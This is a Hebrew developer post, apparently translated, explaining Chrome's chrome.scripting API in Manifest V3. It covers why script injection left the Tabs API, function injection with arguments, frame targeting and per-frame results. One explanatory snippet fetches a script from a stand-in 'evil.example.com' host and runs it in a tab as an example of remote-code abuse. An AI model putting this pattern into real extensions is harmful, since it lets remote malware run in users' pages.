חדש: chrome.scripting

מניפסט V3 כולל מספר שינויים בפלטפורמת התוספים של Chrome. בפוסט הזה נסביר את המניעים והשינויים שחלו באחד מהשינויים הבולטים יותר: ה-API של chrome.scripting.

מה זה chrome.scripting?

כפי שאפשר להסיק מהשם, chrome.scripting הוא מרחב שמות חדש שמוצג במניפסט V3, שאחראי ליכולות של הזרקת סקריפטים וסגנון.

מפתחים שיצרו תוספים ל-Chrome בעבר עשויים להכיר את השיטות של Manifest V2 ב-Tabs API, כמו chrome.tabs.executeScript ו-chrome.tabs.insertCSS. השיטות האלה מאפשרות לתוספים להחדיר סקריפטים וגיליונות סגנונות לדפים, בהתאמה. במניפסט מגרסה V3, היכולות האלה עברו אל chrome.scripting ואנחנו מתכננים להרחיב את ה-API הזה ולהוסיף לו כמה יכולות חדשות בעתיד.

למה כדאי ליצור API חדש?

בעקבות שינוי כזה, אחת השאלות הראשונות שעולה בדרך כלל היא "למה?"

מספר גורמים שונים הובילו לכך שצוות Chrome החליט להוסיף מרחב שמות חדש לסקריפטים. ראשית, ה-API של הכרטיסיות הוא קצת חלונית אשפה לתכונות. שנית, היינו צריכים לבצע שינויי תוכנה שעלולים לגרום לכשלים ב-API הקיים executeScript. שלישית, ידענו שאנחנו רוצים להרחיב את יכולות הסקריפטים של התוספים. יחד, החששות האלה הגדירו בבירור צורך במרחב שמות חדש ליכולות של כתיבת סקריפטים.

חלונית ההזזה

אחת הבעיות המטרידות את צוות התוספים בשנים האחרונות היא עומס יתר ב-API chrome.tabs. כשהשקנו את ה-API הזה, רוב היכולות שהוא סיפק היו קשורות לרעיון הכללי של כרטיסיית דפדפן. עם זאת, בשלב הזה, האוסף הזה היה אוסף של תכונות שונות, ובמשך השנים האוסף הזה רק גדל.

עד שהושק גרסה 3 של Manifest, ה-API של Tabs גדל ועכשיו הוא כולל ניהול בסיסי של כרטיסיות, ניהול בחירות, ארגון חלונות, העברת הודעות, בקרת מרחק מתצוגה, ניווט בסיסי וכתיבת סקריפטים ועוד כמה יכולות קטנות יותר. אמנם כל אלה חשובים, אבל זה עשוי להיות מסובך למפתחים כשהם מתחילים לעבוד ולצוות Chrome, כי אנחנו מתחזקים את הפלטפורמה ושוקלים בקשות מקהילת המפתחים.

עוד גורם מורכב הוא שההרשאה tabs לא מובנת היטב. יש הרשאות רבות אחרות שמגבילות את הגישה ל-API נתון (למשל, storage), אבל ההרשאה הזו קצת חריגה, כי היא מעניקה לתוסף גישה רק למאפיינים רגישים במכונות של כרטיסיות (והתוסף משפיע גם על Windows API). חשוב להבין שמפתחי תוספים רבים חושבים בטעות שהם זקוקים להרשאה הזו כדי לגשת לשיטות ב-Tabs API, כמו chrome.tabs.create, או בשפה האנגלית יותר chrome.tabs.executeScript. הוצאה של פונקציונליות מ-Tabs API עוזרת לפתור חלק מהבלבול.

שינויי תוכנה שעלולים לגרום לכשלים

כשעיצבנו את Manifest V3, אחת הבעיות העיקריות שרצינו לטפל בהן הייתה ניצול לרעה ותוכנות זדוניות שהופעלו על ידי 'קוד באירוח מרוחק' - קוד שמופעל, אבל לא נכלל בחבילת התוספים. לעיתים קרובות מחברים שמנצלים לרעה את התוספים מבצעים סקריפטים שאוחזרו משרתים מרוחקים כדי לגנוב נתוני משתמשים, להחדיר תוכנות זדוניות ולחמוק מזיהוי. אמנם גם שחקנים טובים משתמשים ביכולת הזו, אך בסופו של דבר הרגשנו שפשוט מסוכן להישאר כפי שהיה.

יש כמה דרכים שבהן תוספים יכולים להפעיל קוד לא מקובצות, אבל השיטה הרלוונטית כאן היא השיטה chrome.tabs.executeScript של Manifest V2. השיטה הזו מאפשרת לתוסף להפעיל מחרוזת שרירותית של קוד בכרטיסיית יעד. המשמעות היא שמפתח זדוני יכול לאחזר סקריפט שרירותי משרת מרוחק ולהפעיל אותו בכל דף שאליו יש לתוסף גישה. ידענו שאם נרצה לטפל בבעיה עם הקוד המרוחק, נצטרך להסיר את התכונה הזו.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

רצינו גם לנקות עוד כמה בעיות קלות יותר בעיצוב של גרסת המניפסט V2, ולהפוך את ה-API לכלי מבריק וצפוי יותר.

יכולנו לשנות את החתימה של השיטה הזו ב-Tabs API, אבל גילינו שבין שינויי התוכנה האלה לבין שיפור היכולות החדשות (שמתוארות בקטע הבא), יהיה קל יותר לכולם לעבור תהליך נקי.

הרחבת יכולות כתיבת סקריפטים

שיקול נוסף שהזין בתהליך העיצוב של Manifest V3 היה השאיפה להוסיף יכולות נוספות לכתיבת סקריפטים לפלטפורמת התוספים של Chrome. רצינו להוסיף תמיכה בסקריפטים של תוכן דינמי ולהרחיב את היכולות של השיטה executeScript.

התמיכה בסקריפטים של תוכן דינמי הייתה בקשה מזה זמן רב להוספת תכונה ב-Chromium. כיום, תוספי Manifest V2 ו-V3 ל-Chrome יכולים להצהיר באופן סטטי על סקריפטים של תוכן בקובץ manifest.json בלבד. הפלטפורמה לא מאפשרת לרשום סקריפטים חדשים של תוכן, לערוך שינויים ברישום סקריפטים של תוכן או לבטל את הרישום של סקריפטים של תוכן בזמן הריצה.

רצינו להתמודד עם הבקשה הזו להוספת תכונה במניפסט V3, אבל לא הרגשנו שאף אחד מממשקי ה-API הקיימים שלנו הוא הבית המתאים. שקלנו גם להתאים את Firefox ב-Content Scripts API, אבל בשלב מוקדם מאוד זיהינו כמה חסרונות משמעותיים לגישה הזו. בשלב הראשון, ידענו שיהיו לנו חתימות לא תואמות (למשל, הסרת התמיכה בנכס code). שנית, ל-API שלנו היו מגבלות עיצוב שונות (למשל, הצורך ברישום כדי להישאר בתוקף מעבר למשך החיים של קובץ שירות). לבסוף, מרחב השמות הזה יפנה אותנו לפונקציונליות של סקריפט התוכן, שבה נחשוב על כתיבת סקריפטים בתוספים באופן רחב יותר.

בחזית של executeScript, רצינו גם להרחיב את היכולות של ה-API, מעבר למה שנתמך בגרסת Tabs API. באופן ספציפי יותר, רצינו לתמוך בפונקציות ובארגומנטים, לטרגט בקלות מסגרות ספציפיות ולטרגט הקשרים שאינם מסוג 'טאב'.

בהמשך אנחנו שוקלים גם איך תוספים יכולים ליצור אינטראקציה עם אפליקציות PWA שהותקנו והקשרים אחרים שלא ממופים באופן עקרוני ל'כרטיסיות'.

שינויים בין Tab.executeScript ו-scripting.executeScript

בהמשך הפוסט הזה, אני רוצה לבחון מקרוב את הדמיון וההבדלים בין chrome.tabs.executeScript ל-chrome.scripting.executeScript.

הזרקת פונקציה עם ארגומנטים

בהתחשב בהתפתחות של הפלטפורמה לאור ההגבלות על קוד באירוח מרחוק, רצינו למצוא איזון בין העוצמה הגולמית של ביצוע קוד שרירותי לבין מתן הרשאה רק לסקריפטים של תוכן סטטי. הפתרון שבחרנו היה לאפשר לתוספים להחדיר פונקציה כסקריפט תוכן ולהעביר מערך של ערכים כארגומנטים.

נבחן בקצרה את הדוגמה (במצב מפושט). נניח שאנחנו רוצים להחדיר סקריפט שמופיע בפני המשתמש בשמו כשהוא לוחץ על לחצן הפעולה של התוסף (סמל בסרגל הכלים). במניפסט V2, אנחנו יכולים ליצור באופן דינמי מחרוזת קוד ולהפעיל את הסקריפט בדף הנוכחי.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

תוספי Manifest V3 לא יכולים להשתמש בקוד שלא נכלל עם התוסף, אבל המטרה שלנו הייתה לשמר חלק מהדינמיקה שבה חסימות קוד שרירותיות מופעלות בתוספי Manifest V2. גישת הפונקציות והארגומנטים מאפשרת לבודקים של חנות האינטרנט של Chrome, למשתמשים ולגורמים מעוניינים אחרים להעריך בצורה מדויקת יותר את הסיכונים של התוסף, וגם מאפשרת למפתחים לשנות את התנהגות זמן הריצה של התוסף על סמך הגדרות המשתמש או מצב האפליקציה.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

מסגרות טירגוט

בנוסף, רצינו לשפר את האינטראקציה של מפתחים עם המסגרות ב-API המתוקן. בגרסת המניפסט V2 של executeScript, מפתחים יכולים לטרגט לכל הפריימים בכרטיסייה או לפריים ספציפי בכרטיסייה. אפשר להשתמש ב-chrome.webNavigation.getAllFrames כדי לקבל רשימה של כל המסגרות בכרטיסייה.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

במניפסט V3, החלפנו את המאפיין האופציונלי לציון מספר שלם frameId באובייקט האפשרויות במערך אופציונלי של frameIds של מספרים שלמים. כך מפתחים יכולים לטרגט מספר מסגרות בקריאת API אחת.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

תוצאות של הזרקת סקריפט

שיפרנו גם את הדרך שבה אנחנו מחזירים תוצאות של הזרקת סקריפט במניפסט V3. "תוצאה" היא בעצם ההצהרה הסופית המוערכת בתסריט. אפשר להתייחס לזה כאל הערך שהוחזר כשקוראים ל-eval() או מפעילים קטע קוד במסוף כלי הפיתוח של Chrome, אבל עברו סריאליזציה כדי להעביר תוצאות בין תהליכים.

במניפסט V2, executeScript ו-insertCSS יחזירו מערך של תוצאות ביצוע פשוטות. זה בסדר אם יש רק נקודת הזרקה אחת, אבל סדר התוצאות לא מובטח כשמזרקים לכמה פריימים, ולכן אין דרך לדעת איזו תוצאה משויכת לאיזו פריים.

לדוגמה, נבחן את מערכי ה-results שהוחזרו על ידי Manifest V2 וגרסת Manifest V3 של אותו תוסף. שתי הגרסאות של התוסף יחדירו סקריפט תוכן זהה, ואנחנו נשווה את התוצאות באותו דף הדגמה.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

כשאנחנו מריצים את גרסת המניפסט V2, אנחנו מקבלים מערך של [1, 0, 5]. איזו תוצאה מתאימה למסגרת הראשית ואיזו עבור ה-iframe? הערך המוחזר לא מציין אותנו, ולכן אנחנו לא יודעים בוודאות.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

בגרסת המניפסט V3, results מכיל עכשיו מערך של אובייקטים של תוצאות במקום מערך של תוצאות ההערכה בלבד, והאובייקטים של התוצאות מזהים בבירור את מזהה המסגרת של כל תוצאה. כך למפתחים הרבה יותר קל להשתמש בתוצאה ולבצע פעולה במסגרת פריים ספציפי.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

סיכום

שינויים משמעותיים בגרסאות המניפסט מהוות הזדמנות נדירה לחשוב מחדש על ממשקי ה-API של התוספים ולחדש אותם. המטרה שלנו במניפסט מגרסה V3 היא לשפר את חוויית השימוש של משתמשי הקצה, על ידי הגברת הבטיחות של התוספים תוך שיפור חוויית המפתחים. השקנו את chrome.scripting במניפסט V3 כדי לעזור לנקות את Tabs API, לתכנן מחדש את executeScript לפלטפורמה מאובטחת יותר של תוספים, ולהכין את היסודות ליכולות סקריפטים חדשות שיתווספו בהמשך השנה.